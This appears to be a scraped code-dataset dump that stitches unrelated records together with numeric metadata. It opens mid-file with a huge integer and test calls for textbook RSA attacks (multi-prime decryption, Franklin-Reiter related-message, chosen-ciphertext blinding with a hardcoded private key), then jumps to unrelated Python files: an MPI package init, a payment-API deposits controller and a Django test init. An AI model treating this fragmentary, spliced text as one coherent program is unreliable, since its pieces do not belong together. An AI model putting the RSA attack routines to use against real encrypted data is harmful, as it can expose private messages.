29350462559198997076991165063301654996241064459584942759296071015771552648344445950582887433658672163609754613781195095700529779779922926657256177702448336548104378582225046076154011872884124385635571357047820726950752048151036300304617126712718794903429884448950842960150555731988066975071971503923186902882071428016777978138234095440406928597251852012028462254755069342842900413093460486911583330358935877594423554854450107115397958704485449865648586159608404553465030786727335275067385636903011078224816251339542310314888015486221021593763611712337187610112719268964571879054627676141015385684732803012321815231731983327320728766779555964861695232548531756162723006772427383924534193610047030696427296516511462706574743597603561644512167352181225414554449120552283801918018010614767844676318407179063284483850119334307527055837943223053753902834212664962163032984301930010727988195054810395070004677727273364278156777570606447021457502990510498273969057496950853889341701005900255513226534982828307688317442747209825131734369372843561175202549683280380291057165751120920222996068632119814728894384303093325581374521369583240747439050612310872338298177509630338211365362725520338629732150372950478435152911325284576296758657727075502455007315425561448391837871484719864162454067151460114785802527350111007739971899388281308089441849713203027522913668733187722584948545489473128202537392587504213613129207241904120985799077661285343038430305378008207465966129715772252547946437154500522133174580250862844439236917200772982141816049456253828221432566407410410401637002154266690843772963416708606784271936859080911903698577418105005184960303476135537551912315937307233072586036414403899266319095216402807095238494697814158930642495783430868035944658005014776263543404226162782177691207454464789271648650006480125246517406162589854818190997554770492715576459344446640900559900756304852207522302954136566108732049365789250133925291173009530444810742012547697457821865931085456311904963535583133302690238245650507964540874780022213436493991155246364397841206654684821514616092411102981572735766030160673952864104804400551705122505475250582963126345577100485699914709264070107920413651909427463457675443911459372358562213144410451610043575607932849992242364179160268945801450908513551930682283290454369779705867907778349092659041352188656019760357012808766750174171279376484200562901945903939866168653748974518706853417361370602443230333234127955072657006945947876866692631893979082132311855494016017694999392949913385498418768055826655010431030314588422240008898699053527637410399118921287782859803247987263540804176796169641221217048638915191039051488106350796178421452217299074490819654836439952618932887906423698154012330145220213695231032453299335281296560477594329578427912548463980124107250508624512194539098351353503470777982483070461689846551760315019604024700373318887393270140943657691552244920052165971696320177660454816027669488337355196585875304698355560076107184764597155725083386252941054799423167873483965018735555635585471767074339772204023693830285822574266636829853216623802804551484062384807726209413040743084454514118695522744399783633262612010007955651068352172839620238549804485816224759799345532559328496407543587135815114739618049594840142009392132814259100086742459765828066489538999534509043526106283985671405045340897314143836570485913139609860227923611054590480173269474479207264560047837925456087589704123243104056106465418701387141470114738706394633060017285161525268271441584526679145156540463635130032461575094864326348791819601984586288084820244197412170752180825547433561326342527743548475468476850540921633508051415502603995811291100298760008817346509956563797201335887328729429279472674111847049445068533043966212577053453336967102866997660010163544430099480061505248367555082950573388546114399358106369324533842894913394561890809159666302075390275755427113859397832355947177281261697464861008053149556272788040305927978823951157710552393458025692084096450241563679963837419611540283884736647291540370356387243300020695048615102772433296448312887957475126943746193803800037909634586765910988180177368860531805866974013971323410927653405401483144613189368329936831641540136230840694867727639602944256189583127363872929803405996692700120726679551316199218090194152523548353145712806227026991792743083618494231294199860988018830690753158487944881389997295619367466025643273947794151619320180151063768727273372426325303706973102453396974485824014794713956594689863690596971132026319819732303912752115861792525673628598143918555522461631687988567212573548149508475138051390117863374021798596492350463875810925851846017176403419848617981058755212832665576648965855969398175913640895072681395590406521288198244583712811927801056472528827831068009851295124678500128457123128561846167812719990403425934199583421248233233293831050180357987790009951941718476903448665651164476988279293605636909852552483601222690853131795915602979882062020932780402991725743776002945642147198061029593693062532408964585899977758433652492523036295497840931480155051237315585144297528541088967792136655529173114228542996232205267788237269145357706413442715869008725491753934849562915511651597813208613450463033525091058391763195948038192235196580376815282700253852356032519186602247089532194075928775293748978289345215098343839941228410850300425492761659106001978041904234637270933694266587031727800538907409405180229415626144229060288587936771038520737642897768429549791193377946346000092293633110893075312908805544823062290509405775714585661026415713343378487381098699695711617323469929921307332523872211305615950508831017737911183796430643465570144985433309442893809918904910769466076560871802753240387789522913243093580581294612774893300453567727770267244760491261988168303265530392002726330352913897740168095575811319701109650436207729197407203826243995196357224907050463997224752527066191015107659570751618668776550376461694731402998146391558873012455646821255722419028429463653608672163652165629071156729284746537707786512093287307674938170514656025330262440490297311220536909683280983544969511780361885946806407521018829640388766049417048383578816159079186931372193375217950080750593218917733799719781195919892946319008649562586772744796122802229018396716719576092740088631415315472860852415579962044519254328430869482261339825468195966999446883349589552611458059951377145904780277717708129740652140786923839024231296374859427452278604084761309480017519867856161147126248419631359399505785287785355637913545765527524623509111545692116276041807922120947668149856533044696670184270521955903825429349070023575405134987124628342064000367727993590329618205530883996953483936876325976432651943686260063736766923886284582782065543930386086247948995566810258651704920625351441621254107524632899284332751893631911719806483521526658075741241415370160837269505610705350868084600169856109990228881674480836378867853545473188726705773604720854766707483381073048734843200745284248965805017634879190690055480897248803018990027688754238094491314432371443861089590994286983536541631220190840371478413677758493553035572985643304919161429075803356220742425485863893670664371460185543007492628542806831099397411282272848695720792348169529346742070592303751261863264768644707447339781879208099856192739828820375701180229697083160536323349387658621496131814436099001611945905892758939030415805614215133424870589240779593259725251297646883932820483178321086902081171551903824250531930812013402454525363191001577051844344593158648614850388799491077730248398430691935439244476337007198833507877447609029859037195088832227496958104915486584561310996813031326640100630341818618938225533228716504253262524200579644073152627565712782441828476891663641014132291282429669202402951244132881095390311933645140002887974385611902985444649995328635669131231594308659352518545522037293660943512689971488308550946101347591984250616252454519187867513319784297169337278620390084864857683767724710944922326682301135186850110522839714953146700298967236000550291149112912736433051803271089665960772712546556257682894032960692734680527706239991452063992539336610472390631647026737315002136355102118881648928459412673939156715612298173780215300449645659226198672776079549908301015767847684052793108626097268139046464279739752330399368789575251596671627078261808156730549554511085411108049638116537510632924742105498432120066081212347475528447035710720781252508153365586999413236119258892359325214184053666498647100935643036044160548144587415506033643799186491330758238498394830827327979548659680156627001971505733255070052052673337458088539466444523118620791585007379496925871916163392664928475852264948276320050980571875816517213195231418170903851120898748716973130959303915909282792267739617752240187074951710272655192964557984976503989374235632283361681478731388989369393210585445941465072392624287697425419198769070198151742207776225594162390087905184921094163840922485160776273158535526583851223286892003948008995437628385413544283964974120440025976752403402910699670614082445737888032808182488556273632519531066756226694024608112664673537417830241591800404018618146635105998207960490964126772973317183414984888835768290187572551158020614898767027193557028702003698567855811591227381552816847861384659162170401002223794502374516339569746629887103286814499571850006309010869336115850588420110841002870159176965496202093101655208895697702535716686063841599706482534850614579153571472842269794316193337801685585436406444217499032801785382942677741920610558532816084331595450603236296339223190710280804302802754835970993727314248335041960191859072553886094369574151611983139101252195035206489063083048517270738484952698751916030768683219812775464066370402091075082769073358834173480705198239504257576474682938825283835307895343707618352038495503212940593835808611243222839674497843827426537341730343313450172338733038639683416454465899826397627077175345934001186137720809168209660785384859736766037214883951382944044109246785898744842212238497649069291884750628102625792265261573712990644902770846353241492125127634325990225522893518045935520865199190814120636632311347564684716366068998483011282796376967504026962908549093854193152178718243392677189676755897070639395126017606982221041585038090487832566397696514444519111197554141562859222482653271716423046308624953356977755590403830592457498879871265037369451053912343158492070632111075560649878118884665961844327784714844525980833715470561386644834178891960954922026701335448245879206683355359760585252200736675154193420731100268080924371398023163188405520245933014926842904898084466815419121884731332680805743128119978320938243332385223105321323762194984932315686729373573855085022204612065431419780646240646501597901686378847573802312556063156302609227025637455602640720911813758221488268716111403930031576112316623818853922168338270792331004233060013962600021839553279082865192800674080761301994905143068930472641640677010052924574637714991297275429622823736436601581511728601833913150530832624883540494382778169851405038973974996275513284496505650381085456111057875781318343191850592513884963953642855999931094889369081764003611292862344321731294008933333720186621361534992106086095649803644309288761426505543372357701933255202591992155645732489385147518333082600845332626472505666662487476118895932477592847968371434553646665343987145749456126264252068205438289420223925332777534983723692585630981791565421308352810534623480310417668712739710236848187250428153660845695241935683467150919639959506405598177022268613668849173120046163802520027106074858736722509494099059292109225941881056588494115656551676341999379626775958917263323701023814148244112597752131374597426595648679698611292165113177769869994524718706390775970300565376892689610870522957521717585568118427126457774120506186443441028615721257861609267893034374919054066664788444238650137404153986330128377763053705172233616658491204328859167413896036065617130586451915159154425534539817474640088319129867944226988877065502491342591239241351604011451415143515448323097478134521748319440037762274007850792445541479810141245480878402675727446966906954529754106736829522885016910241081259292021664618045688924048126738311544574753262081643317625467618984838492123793704510537135657648498924479029738543297106042848656059396396488944677354954745530404322685494912917744758904640784154844867594141261555473580656169323880654776633023454106240643868404097293410734896913929944746684139003139051403004710785715248002933172690307056530452967074758519346798865444239767859282055248030952155521522730854306686733789337982750512783961670680242172977415034877581389986407094840453515239842317030272422560210203628788870022604623489777274291580773314881918933938013440906158694273208777399573148738696862734703759691587690152087007718377580674299761395996803378066223195993514000367001668825764734346000355131823443503197055400863084758633102415057576211758971956253411489201534083564005465220531507516174860669792525505438199288228404763023241139089863651196150848918102893377206721389913414898317073527956431546496316960113829689541177674978151035464352897943918199804056734576439694148233056152917704475817694991828288891710841826293166621819685015050850443422814312056494364338482639808934018685510785098001707014633858709218693136693589917427521537438604062713080227021741375281352211612819217430519141654541666618784477011687719896253781068902146826061029032806709516266441905927752559413133534604474164044653070607831873364182658783472385401452033520250805958828183419735680297539056983639426503349528135276771161696838261493770588370767852847789859141384375838304298423052773118796622367104399584445579223619262413757333492262821000156700007519906614283897768980396009045941109468749967635073767703566471206941277573711640008240693388918368771091381178989028049528204830984216490794705649245487437535183664434214489511734135648294530029247125857912585691435251706866958814793705155913031521010783778332076533622604061957427416478043501732308861204907077317881364311019704207033535611878319709294250072649212480795853920676905704581159497330646139813053717516220869189320312152741982530725570254697648212124896823714910413157697265662438422302851706927634703449248923693725104971413518791491662048996910615839186477039749630593344595465971418237439124904362798901586726931481211134165645323392235086663368311190414779822598616767451043859958989969050282107710070584896830538836953650251414744650566934091919221229499677454812513852903521651455709428269043357552990904029855244485744720140086955096194923156188235581008336587426899634710200404222095272799338266840288850895776760979172756069673327156730656540719718415365202035104834529519632755467355198188686898297767924623499630690806465820878863354544587860352736377696560768033556523019096135893835748827973085972480732891257486290411157688429003293933806338554929199444014066371967000784845063488047990886901446225369897824878469156056798369801604134703098399806533867660515215050140962714127742168101005578481272886603791596753400372396269963358370262624947187674600444797300265597822563172703706919030038658279222589517431049570839488457857010875492287540220717174056874480316950000760675536289165898998917019901635631358918833181873770850964525607289432211552453395005068417570624624071066381907556210742516852635980801332792507155621793317090449295473983317464063270228101638174005392899032109774478700012961064740143241635848305013032999697510600855439058835546820651483131137028733968621133171744678427464868781636692228423273651482673593339230690905377911706726362097044048603040706809052797364376966919386005636953889209275147436524862714428244081497790473156429307217747564408772085481945040896290630231696205921625066935650500954737839573927047857277752050018898050871817451789495650810825350485682122546463728293378705234108663762473778593538393109546138877498047698610574478338120539978226122380230874565076522913797402045464215366438183562617739373787948643197633026240424654352839818300464188845180601083091701483736490860344470357380398550133427191086908198418736837638622872460582491844267112426239467791374368280612656671266992696842826027915793738456573239642567187676571899893922551598819822650856438638799265853457509347641011777473124885090027735225764170914394074038300202183957051976683248304033826799457157852209016297485844170949555353359654756775859519621897405893386012560203229935111199119762963294805152882693410875627900046807305611348020959973087509634790496749486307467801320956384008032612300841938632716425681697320932196421061501219455747726645253587353455792063836931838102957858010608510172637397932636933469636049530009274135317868863976973677292568158801106501043519957109977250373600542447523683572481019310945741963960286364858111475357237067394813833083533075203265150218483928293315008942604090065012436836357730035689805982601325214971349299286556417825236316607463160056149430532703381985288818442498765109021365653002270319830711332468659682721014519872237095576461550126850976838004646930793332546089534098594342230050974396596203824302224075967953968593308596684385996204431105388786803228576709709577343028122933513970409602825669003504296596664272999521100732586099908698100846702916543203590851606899003357290037704006246775714112714058438921471099200590955560778208133565462412887911896774810738305350900236111278101307567785252385020001231878735004277382469636206986261657852239463169065395103102375020916909389441289841515851560000350655488804437273081602498373614763809897586854678975706487223981062454000768242887935413704495907596554248123121368969869323200582347965797673535254063607906207573998950873893185757159173075861299440573485721982633781480177888671645192370843948198844748708178670326650627233400415525554387999611316198467247176069526741330553437986071629757786242926050668500068897938617038644713953146770924629861252056563272126774006294434116870901995386419656790770697340053888675147633788854483143777523801210663279321714563478924387406860600051078664431016092449772778979892111516077697129446507891080698221303852889149829059094710250315874538590587502227904256467304927565969873959987116923463204366482706162732965711107314560904683612839694600640077516549636953656873905475987883869044466571318996557317138776474978498504678658902396532872409284190925002787340892435908126861701776154774535407412608373086004603574086305252639087995993541771171889650704749698444615888951759866635357194097862693620392810282832538185585499423440062838835030403943115510931672325396643938688368207012800642599992460657385169062573034222787632488233224496534928064578514946959156760992597380870322616216282755073463616803717855981213366643685503936777902627317661751362161449986670597512612423438279701606313713623635615703069239895969820003936778126759724887292781048930059335036587464387226393375026957006148038926668569785708371120498429642775086582486016283546667243188509109964593666507207773287798391306726212614632302556627207339123926516877980883241753129476700131538311503142276886091901997035450549295704160246250453158739695900146140475337663311759591748549021174558692690180864248997228893543305635341215316759169015973285167415796644054574456943911039558414445961590894785475960786682536334670916503170487015199151390347629402074174190900792839490834074705375654348732664871423698881256388382648426653098148168680581355881385574452213395599720308693190221918077080701588486211781695428459948734681198374399852943812352722202037756300397966411820902113974614233013817023396695325136187733958931754037292231139251435766755887751533999383708489269920983921963717690602855731580277042644739167545420774330618287560575565726549374839889279164760641430030063325176473294354982576938106507644972180535078237880955456084256466782981695334319380708242717256510461359301058638405895199319170592088354923218042446565152542557579849215090222290246613083800827031744167667415353297026819234134208621705606471074735054246627101018479891321416698519721516338145959268366739752611373390880232128438859887107757751121576114199904241626303109553758457239912287177474531119821009728586943753777597257502594124290272607279645162521745652627508825002413724169367464995459831404790530664763535766093509274923678991469088029626104057119191570822762611489341658275318126471034721913991962283753302544388253262191210471472349432074472516014352552763258926281504194529837714752947448902958405104083720322218029888743233134949480731935921827738109357963838230960134821982479133788997924971814286697626006789008452991911492849106334372735639953663285084031538548543600808024740674206489837545819537195172336074814039747580982360703871043059018529884570192758088307270875470856834780169440587784429126765811241145181597164082512535899121398752919191071229912151769689863858651196841563691705594033422280379227690909926642216851335377377365404899747899399753927785453489685962659201827520084526685208308122598280730072901476935492982278411256593295747712216416489584097782312275604556229796829808186675448454343920812166339115809871916110264057775931236792553027745142861036328590433282397680260113342310676211056820505678203208510472312767696618258206379700564287560288311118309077562641273800509398810205173206159116218966139565880033123636665075108821871822090262737556433387912261442856543450359183701400008609452379779942171097297647973341880527806173131603277720772405017439177555764181649514783227613596540151203704825965593683338274169426376033752006426258751384595597500765503870384568949067575459149987460418757479239568534193213495742889948041200458273529899523391146373350278964874694592887243148099480690196029886595883908325138545074339827418596399096009368038143150314804511064395515251756514110933480258919015719732132356571976099684426604215431753828511410199940412238133319034631101862862951795037024722592793015115446175927421444332771044550169283738196812724455192992907227842646563850463956890344913860994526492712515235894224392155384062647794203319637963661563881893212394790369579504525408355074663681419618479858444345191845292662093498476347124290076968537603156267015457935166403197092344858614932213195176419807231442267534437047406854993796180198971419990757428188374628924843687130828891824105605841685868236681432308944132366479835318567423012616193512207822919799354398068031862219536785720733297321638272722786581860278385108478547899885912269793926782489269625893690707359622369736939353627385142794183597211763019473365285649895920059054136205808186554274973711482806823665114488550821224003226618502574323556990825250052880269380283188851496228089826797252640582948521178446743666944048938625886518993156929567542804684483327829261959116727326810263928408358253967847228121034582616958024845385735690209936829578137680334587708220286292543017370490263793621349111178082886610479866381190308166694045214353014707686333009264515437432286026261249745070728272173843214996495266425212045028498293200733976943123333670693588651702606672320578180542705876460615990237864355045354380932842793589275302295474535857217280126360034724579666710494065544452527190779015062406700394540255574218083240044608559719865277503774196757707840551630686483746698912184390120217141407563846660598879922408116912558396617892608996656866883346531138170242998058663152313896371612140736468004022249976071684302413022328810549931077461676364889104266808761299509635687023327170981820867435742854196696487969808553320772910499581494557677838098930076994213408356348817827461271682481878387150344964814153864453077035233504118437055683967808447845128779864386430995135423421672198672539401300257639340302754963929873843750213844040455752549141473826404817369667365610727645516273980664875812214869357602123667698026543083316536013212765999338808716755645599172836074839157527618836789326635289166484629212501529666784649392871475416252790546666165039399600896673924275208082164603127770292015860087374699695736392493917552304121161676058458254557412000276349537627986854217288620228302009429823166460629182181406143997851925567666560244703542569928336815285363523024800948460326513096963694388457499403757323602592042033627993009232250247305694648109543886677088149590528716049280995935106232097927654819720799160584342953345368446666039616574912945713986412245048800083654261598211781436421286053647920659245957880995599483290165220471334285834467587019061747586472651491135197585827331311273166930346890292098641006171973000246840018840987141415683750743453174822595097309071633525765779936547258167537632453109981444315044612676217155865043562776065664161608409304460614372595617861249737428762509757521697018577865917856961060064567882075166516240658047955918223369278150268402225096200202491476665828086411020171949879443523616687551284130933718980725369859453247583447010404044863179768647721700586393265050530427231804850852155260974138888026177981993187070511323137641407570733252848436745566928057415398657275855751110210624465293574896051067422176247189635401835883250120842139752053608904280373678552410286853058752244546170247564996865597801329928847155072507226508366326521853576729667473846091500262759065332236580309483194831074902406531290999729393457713380206611822015754836833978396282782262395637776207493775572046418753464594088900044347221480826224220143864778855425725780623687375191773871514367011515281464555253934385466783327396112084243383413640489370774005111470208728207532803676509398612064157702247359972322432689033643033316680342515758180746553080246118030232269536709483912991376263278268351284698635364028371956036935722275388473395570407543335977372828538356530821970593948562490639753036597131803095610260903976320992475944344593147176844309442143216016595931693848268879520955925073852736766789905140313463924009172976703895807715369571429956951064633368476097032330825864906671565059404801868674950843711095054042310281032888854540415561422558278071353805878637182446104460165499684974482680937537855094857342529933880433599230883847799894737478574218538449432226008791592431576810711215990832407070457482877055212341783735797474151641085005218157956411376069104352603017220248007049621051640839861877123570380946013657595842546139797054783517913536013611942540906042315618302817311440689748835979157303531994006754140441568576262071779671161548899170047569917622996014050518227878996330795527126374491107922516680772913043995572725074315174669381823235878058266149144362942256096198348827375761191693773558094622177381399696187722539768614955803784914998524576129650014984625445909181216324396953322937180312961629779730869703466878319060644520629322274871862272874810565317879230959631093863307139496623005326118560723740556149413576609206293321579161363071002947017789186728482980522798998674102426192850303433490801389727401370840795038167287197361392637224102634498685796730172467977474643055279268900792324695012917409570672186236133666038797431268785535100823759433932244455441909998714694865585068405238425515359316694731952772107554337303275427103711911532177607020695863450865600424473662208328714202746141789975714533695357747263171388935500472224380476988122294075430099964961036045198719832176143102921283077957651028044155491118878794463932192767884249850956597833103512469599419570593281066728980489803114824851749014016607701821302361589673049854154914503775425299363686774226474481529666326779335728541519006149506152345217573069777740997631537787642721534675244082767646325315034455117406964092907063679537402108723731766872928595940119429868304359377953880946214903098972708025882866083185241124676349388737415422355890299589279482837994355299597827157702584484973111904303436660981743837865433547956005851397204737529172277635899186591345971691049235122482226886143153757492101688798403923191241759811304132661803844966559329906794421263733210592890351864637089534364468066574726689388093817731358672808559055163041265690042668484410940411582462414992988210520300877993947982172873199293152515536944956153271262992314177407282055834211149787808833364995976833534892572335447695553241885239431141916982991189761854796144834863486042969810653531762500659768167565005894303078678134695206290704714681887999684954944850138497394492975840656260810325355572520345480836365909297087079346903260107574438959576086753785108922723385920602327525728839960287727556994281723360723650929230855589431828817393002764871957363667532690543968231611943614540787741135618738838312770542660204601396384688812333007213878521668232484751206944202407991377610262984767333953356075004747967768201337634975533268193879353984950657308940070693158923793318413636266099503488063673555302151890123766321051769186871324390718828794301606824239760214950792206665573322746498308759204400437623426168904577011018946122639145519431138365081006664108879866866337172012256150699131830556891398699987565609630936688357691367359496665284105593261732400365200056374274936774210710645452841797376077380971866831877301528290065046383935036932877196869946408647714524681137019813650875202343196494281735528260607275655269627827083469388355245469387857343182982942432788236248041130411265232262130440314577667320248144112824232376416337208308243275746278351307178664233584050243825092287089338674312762397913579800135700535728858704524378994213302141460726671840701065870487405540915899006153908040934539328996300689880015814500046328408761310330598916295613391389348354346654215967769497011833613604699121255004829535307291293708522952446638624524409104821160435695049574850691880170972394897696147853683886872835062618485716540335092799245770657106575070016015620565553958329120476374826436338303539773145927451920680697793653874709024573074341905935089419973386603901671508181371626291045292402408514593225346752592788633183117979736145275155975139274 divisors = [(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)] rsa = MultiPrimeRSA(e, n, divisors) print long_to_bytes(rsa.fast_decrypt(c)) def franklin_test(): e = 3 n = 0x00d91f0102279d099a9aa3a819faefef8e39e71075c5ed59275ae33fd16f10c6b120fbc14f2b0e85b09b7372853c22b359fb4b850e0b66da55585e1221bc23d4a84bc0cce1c1f1c080c74520c3f7cb2d041bc2c372ae96a3b9344dc00b00a75873fd339121804b39b74969ceab850a5ce8c65860fa1e7cfafb052e994a832198ece195ee8bb427a04609b69f052b1d2818741604e2d1fc95008961365f0536f1d3d12b11f3b56f55aa478b18cc5e74918869d9ef8935ce29c66ac5abdde9cc44b8a33c4a3c057624bee9bdfeb8e296798c377110e2209b68fc500d872fd847fe0a7b41c6826b4db3645133a497424b5c111fc661e320b024bccf4b8120847fc92d m1 = 1234567890123456789012345678901234567890 m2 = m1 + 1 c1 = pow(m1, e, n) c2 = pow(m2, e, n) print franklin_reiter_related_message_attack(e, n, c1, c2, 1, 1) def cca_test(): n = 0x00a6ef4f3e5aa17855c988a66ce4521cc0221f302cddaf8b10ecd348f27464b465dd7e69983b2cced881bea51b4c6a41a32bc45b2693f89879910c9d332b38ef0ab26c74bff9fa44d6bed1401b8848af669daf4fc4c71902e38b7fd8d0abd364eb4a5f666e818eb342780ab9f177559bd62c0ce9e246b62ac6d982271cbd98e0e8d6c0aab810d3485a156a86193395006527a7d816d07e0fee11d5ea4cf00437ad27fec8dd9023d0133020106162d4d82471a26d5d29888f0221b64cda932dfa1e20c0970cf673b6aff466d583f7c2a48d0785e6334f89f1605e770b10740c13f9c58c010cda4db2c2a216f791aa0196291d832f75fcfc74d55e36980b81f70ca9 e = 65537 def secret(r): d = 0x00904ba15acbaa7142ee2e8174f4b3098906b5a0c5d765eab6598f94a986f4997ec7c38271050d894a5a7439716c4f18a77ba88205c9b803cc6915d73828af50e9152b6c8b98ffbccb472bc6d745a9567c43e70af39409c99678b9ace74aef3277b3d4dcccbe8e63e31bb261e217fdd6f37d263870d0209cbf3fba2226d4b836078790e970daf98a2fe23eddcb25089483452f66c9bf6122f5000065b20213d9b268e7dee1aba400cd1a526aa838c53fa2eaec4a40624a651ce0b975c5500f950370aaa48ccfb14151678f0f8b7744fec2bceb9015f5a16dc7ce13d77e3058f7cc3a3778f629e2d9ba121d87bb1c87b3dde88e07bc679cb699bdc39d806b82f281 m = 1234567890123456789012345678901234567890 print m print c = pow(m, e, n) cr = (c * pow(r, e, n)) % n mr = pow(cr, d, n) return c, mr r = 2 c, mr = secret(r) print c print m = chosen_ciphertext_attack(e, n, r, mr) print m rsa_test()

3,148.196078

157,830

0.996839

380

321,116

842.294737

0.460526

0.000062

0.000028

0.000056

0.000066

0

0.992774

0.001865

321,116

102

157,831

3,148.196078

0.005837

0

0.291139

0

0.000143

0

1

0.009635

0

null

0

0.050633

null

0.202532

0

1

null

0

1

0

1

0

null

1

0

1

0

7

50d1b2e2b853dca53a6e7eeb4d0b55573d495ace

169

py

Python

mpi_master_slave/__init__.py

luca-s/mpi_master_slave

8a1501de4baf3fbc324e1019e1763a3c954ded05

[ "MIT" ]

26

2017-09-03T16:06:53.000Z

2022-03-13T18:44:13.000Z

mpi_master_slave/__init__.py

luca-s/mpi_master_slave

8a1501de4baf3fbc324e1019e1763a3c954ded05

[ "MIT" ]

8

2018-06-04T19:28:03.000Z

2020-07-20T11:09:03.000Z

mpi_master_slave/__init__.py

luca-s/mpi_master_slave

8a1501de4baf3fbc324e1019e1763a3c954ded05

[ "MIT" ]

5

2018-06-04T20:15:06.000Z

2022-03-29T20:04:32.000Z

from mpi_master_slave.master_slave import * from mpi_master_slave.work_queue import * from mpi_master_slave.multi_work_queue import * import mpi_master_slave.exceptions

33.8

47

0.87574

27

169

5.037037

0.333333

0.404412

0.411765

0.397059

0.352941

0

0.08284

169

4

48

42.25

0.877419

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

0fb80fe3783ab6bd143d4c2a5dd222dfad39ce98

4,877

py

Python

fattmerchant/controllers/deposits.py

mknaw/fattmerchant_python_client

157e81f44d9c23d0959b14934647d7f2f21d999a

[ "MIT" ]

2

2019-06-18T12:31:40.000Z

2021-10-03T00:48:25.000Z

fattmerchant/controllers/deposits.py

mknaw/fattmerchant_python_client

157e81f44d9c23d0959b14934647d7f2f21d999a

[ "MIT" ]

9

2019-07-18T12:05:27.000Z

2021-02-02T22:06:25.000Z

fattmerchant/controllers/deposits.py

mknaw/fattmerchant_python_client

157e81f44d9c23d0959b14934647d7f2f21d999a

[ "MIT" ]

1

2021-05-04T14:26:14.000Z

import json import logging from fattmerchant.exceptions import InvalidRequestDataException from fattmerchant.models import DepositBatch, DepositDetails logger = logging.getLogger(__name__) class DepositsController(object): """ Class to interface with deposits within the Fattmerchant API """ def __init__(self, request): self.request = request self.api = "fq" def list(self, options): """ Gets a list of deposit batches within a certain date range from the API :param options: A dictionary with any optional query params .. note:: **start_date** or **end_date** is required .. code-block:: json { "start_date": "1970-01-01", "end_date": "1970-01-01", "timezone": "EST", "timezoneOffset": 0 } :type options: dict :return: A list of deposit batch objects :rtype: :doc:`../models/deposit_batch` :raise InvalidRequestDataException: Raised if **start_date** is not provided or **end_date** is not provided """ # Check if any of the dates are part of the options if ("start_date" not in options and "end_date" not in options): # yapf: enable msg = "At least a start_date or end_date is required to " \ "make this request." raise InvalidRequestDataException(msg) # Make sure that the start date is of either type string or unicode if ("start_date" in options): if (not isinstance(options["start_date"], str)): msg = "The start date needs to be of type string. " raise InvalidRequestDataException(msg) else: # Change the date keys to keys the API accepts options["startDate"] = options.pop("start_date") # Make sure that the end date is of either type string or unicode if ("end_date" in options): if (not isinstance(options["end_date"], str)): msg = "The end date needs to be of type string." raise InvalidRequestDataException(msg) else: # Change the date keys to keys the API accepts options["endDate"] = options.pop("end_date") endpoint = "deposit" response = json.loads(self.request.get(self.api, endpoint, options)) deposits = [] for deposit_data in response["data"]: deposits.append(DepositBatch(deposit_data)) return deposits def get(self, options): """ Gets a list of deposit batch details within a certain date range from \ the API :param options: A dictionary with any optional query params .. note:: **start_date** or **end_date** is required .. code-block:: json { "start_date": "1970-01-01", "end_date": "1970-01-01", "timezone": "EST", "timezoneOffset": 0 } :type options: dict :return: A list of deposit details objects :rtype: :doc:`../models/deposit_details` :raise InvalidRequestDataException: Raised if **start_date** is not provided or **end_date** is not provided """ # Check if any of the dates are part of the options if ("start_date" not in options and "end_date" not in options): # yapf: enable msg = "At least a start_date or end_date is required to " \ "make this request." raise InvalidRequestDataException(msg) # Make sure that the start date is of either type string or unicode if ("start_date" in options): if (not isinstance(options["start_date"], str)): msg = "The start date needs to be of type string. " raise InvalidRequestDataException(msg) else: # Change the date keys to keys the API accepts options["startDate"] = options.pop("start_date") # Make sure that the end date is of either type string or unicode if ("end_date" in options): if (not isinstance(options["end_date"], str)): msg = "The end date needs to be of type string." raise InvalidRequestDataException(msg) else: # Change the date keys to keys the API accepts options["endDate"] = options.pop("end_date") endpoint = "depositDetail" response = json.loads(self.request.get(self.api, endpoint, options)) deposits = [] for deposit_data in response["data"]: deposits.append(DepositDetails(deposit_data)) return deposits

33.40411

79

0.571663

560

4,877

4.896429

0.192857

0.065646

0.026258

0.02407

0.84318

0.81911

0.797958

0

0.010615

0.343244

4,877

145

80

33.634483

0.845457

0.375846

0

0.727273

0

0.18447

0

1

0.054545

false

0

0.072727

0

0.181818

0

null

0

1

0

1

0

null

0

7

0fdefe48a7bac251c868c7b9fd9458c6488398c1

133

py

Python

django/tests/regressiontests/dispatch/tests/__init__.py

jonaustin/advisoryscan

ba452c155f0d478450e0c91de5ea00f404e98616

[ "MIT" ]

2

2016-05-08T08:57:01.000Z

2020-02-08T07:39:48.000Z

lib/django/tests/regressiontests/dispatch/tests/__init__.py

Arachnid/google_appengine

2e950619f5027f414131fafc3cc253af4875a0fe

[ "Apache-2.0" ]

null

lib/django/tests/regressiontests/dispatch/tests/__init__.py

Arachnid/google_appengine

2e950619f5027f414131fafc3cc253af4875a0fe

[ "Apache-2.0" ]

1

2018-12-06T12:50:52.000Z

""" Unit-tests for the dispatch project """ from test_dispatcher import * from test_robustapply import * from test_saferef import *

16.625

35

0.774436

18

133

5.555556

0.666667

0.24

0.28

0

0.150376

133

7

36

19

0.884956

0.263158

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

0ff468826809974a6fae3b69e53dd9929bd3099b

13,442

py

Python

test/database/test_transformed_data.py

AMHesch/aws-allowlister

b15309cc581b3cfba97733806df4ba2afa73fbee

[ "MIT" ]

180

2021-02-02T21:31:56.000Z

2022-03-19T19:52:08.000Z

test/database/test_transformed_data.py

AMHesch/aws-allowlister

b15309cc581b3cfba97733806df4ba2afa73fbee

[ "MIT" ]

36

2021-02-05T19:19:26.000Z

2022-01-27T05:01:08.000Z

test/database/test_transformed_data.py

AMHesch/aws-allowlister

b15309cc581b3cfba97733806df4ba2afa73fbee

[ "MIT" ]

28

2021-02-04T19:19:43.000Z

2022-03-18T21:27:41.000Z

